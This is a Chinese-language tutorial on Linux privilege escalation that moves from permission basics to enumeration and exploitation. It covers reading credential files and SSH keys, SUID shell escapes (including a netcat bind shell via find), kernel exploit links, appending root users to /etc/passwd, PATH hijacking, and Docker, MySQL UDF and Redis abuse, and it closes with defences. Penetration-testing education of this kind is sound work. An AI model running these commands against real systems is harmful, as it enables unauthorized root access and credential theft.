对Linux 提权的简单总结
字数 1417 2025-08-25 22:59:09
Linux 提权技术全面指南
1. Linux 权限基础
1.1 文件权限解读
Linux 文件权限通过 ls -al 命令查看,例如:
-rw-r--r-- 1 root root 56 Jun 16 23:29 hash.txt
权限分为7个字段:
-
文件类型与权限:
- 第一位:文件类型
-:普通文件d:目录l:软链接b:块设备c:字符设备
- 后9位:权限位,分为三组(rwx)
- 第一组(rw-):文件所有者权限
- 第二组(r--):文件所属组权限
- 第三组(r--):其他用户权限
- r=4(读),w=2(写),x=1(执行)
- 第一位:文件类型
-
链接数:
- 目录:子目录数量
- 文件:硬链接数量
-
文件所有者
-
文件所属组
-
文件大小(字节)
-
最后修改时间
-
文件名
1.2 目录权限特殊含义
r:可查看目录内容w:可在目录中创建/删除文件x:可进入目录
2. 提权基础概念
2.1 为什么需要提权
- Web渗透通常获得www-data权限
- 无法执行root命令或读取/root下文件
- 需要root权限进行持久化控制
2.2 提权基本思路
- 信息收集
- 查找可利用的文件/脚本/软件/漏洞
- 执行恶意命令/添加高权限用户
- 提权成功并进一步利用
3. 信息收集技术
3.1 系统基础信息
uname -a # 所有系统信息
uname -r # 内核版本
uname -n # 主机名
uname -m # 系统架构
hostname # 主机名
cat /proc/version # 内核信息
cat /etc/*-release # 发行版信息
cat /proc/cpuinfo # CPU信息
ls /boot | grep vmlinuz- # 内核文件
3.2 用户和组信息
cat /etc/passwd # 所有用户
cat /etc/group # 所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # 超级用户
whoami # 当前用户
w # 当前登录用户
last # 最后登录用户
lastlog # 所有用户上次登录
3.3 权限信息
whoami # 当前用户
id # 当前用户信息
cat /etc/sudoers # sudo权限配置
sudo -l # 当前用户sudo权限
3.4 环境信息
env # 环境变量
set # 环境变量
echo $PATH # 路径信息
history # 命令历史
cat /etc/profile # 系统变量
cat /etc/shells # 可用shell
3.5 进程和服务
ps aux # 所有进程
ps -ef # 所有进程
top # 动态进程查看
ps aux | grep root # root运行的进程
cat /etc/services # 服务端口
3.6 安装的软件
ls -alh /usr/bin/
ls -alh /sbin/
ls -alh /var/cache/yum/
dpkg -l # Debian安装包
3.7 计划任务
crontab -l # 当前用户计划任务
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
cat /etc/cron*
cat /etc/crontab
3.8 敏感文件查找
# 查找明文密码
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
# SSH私钥
cat ~/.ssh/authorized_keys
cat ~/.ssh/id_rsa
cat /etc/ssh/ssh_host_rsa_key
3.9 网络信息
lsof -i # 网络连接
lsof -i :80 # 指定端口
netstat -antup # 网络连接
chkconfig --list # 服务列表
3.10 日志文件
cat /var/log/auth.log
cat /var/log/syslog
cat /var/log/apache2/access.log
cat /var/log/apache2/error.log
4. 提权技术详解
4.1 SUID/GUID提权
查找SUID/GUID文件
find / -perm -u=s -type f 2>/dev/null # SUID文件
find / -perm -g=s -type f 2>/dev/null # GUID文件
find / $ -perm -u=s -o -perm -g=s $ -type f 2>/dev/null # SUID或GUID
常见可利用的SUID程序
-
find
find aaa -exec netcat -lvp 5555 -e /bin/sh \; -
nmap
- 旧版本(2.02-5.21)交互模式:
nmap --interactive !sh - 脚本模式:
os.execute('/bin/sh')nmap --script=shell.nse
- 旧版本(2.02-5.21)交互模式:
-
vim/less/more
vim /etc/shadow :set shell=/bin/sh :shell
4.2 内核漏洞提权
常见内核漏洞
-
脏牛漏洞(CVE-2016-5195)
- 影响版本:Linux kernel >=2.6.22
- 利用工具:
- https://github.com/timwr/CVE-2016-5195
- https://github.com/gbonacini/CVE-2016-5195
-
overlayfs漏洞
- Linux Kernel 3.13.0 < 3.19
- https://www.exploit-db.com/exploits/37292/
-
搜索漏洞
searchsploit Ubuntu 16.04
4.3 无密码root执行
利用方法
- 查找可以root身份无密码执行的脚本/命令
- 修改脚本内容或直接执行命令
- 常见操作:
- 添加root用户到/etc/passwd
- 写入SSH公钥
示例(DC4靶机)
teehee -a /etc/passwd
4.4 环境变量提权
利用条件
- PATH中包含
.(当前目录) - 存在SUID程序使用相对路径调用命令
利用步骤
- 编写恶意程序
#include <unistd.h> void main() { setuid(0); setgid(0); system("cat /etc/passwd"); } - 编译并设置SUID
gcc aaa.c -o shell chmod u+s shell - 执行触发
4.5 第三方服务提权
Docker组提权
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
MySQL UDF提权
- 检查条件
show variables like '%compile%'; show variables like 'plugin%'; show global variables like 'secure%'; - 利用方法
select sys_exec('whoami'); select sys_eval('whoami');
Redis提权
- 利用条件
- Redis以root运行
- 无认证或弱认证
- 利用方法
# 写入SSH公钥 config set dir /root/.ssh config set dbfilename authorized_keys set x "\n\nssh-rsa AAAAB3Nza...\n\n" save
5. 防御措施
-
SUID/GUID管理
- 取消不必要的SUID权限
- 使用capabilities替代SUID
sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmap
-
密码策略
- 避免无密码root执行
- 使用强密码
-
服务安全
- 升级系统和软件
- 限制服务权限
- 配置访问控制
-
监控与审计
- 监控异常行为
- 定期检查SUID/GUID文件
- 检查计划任务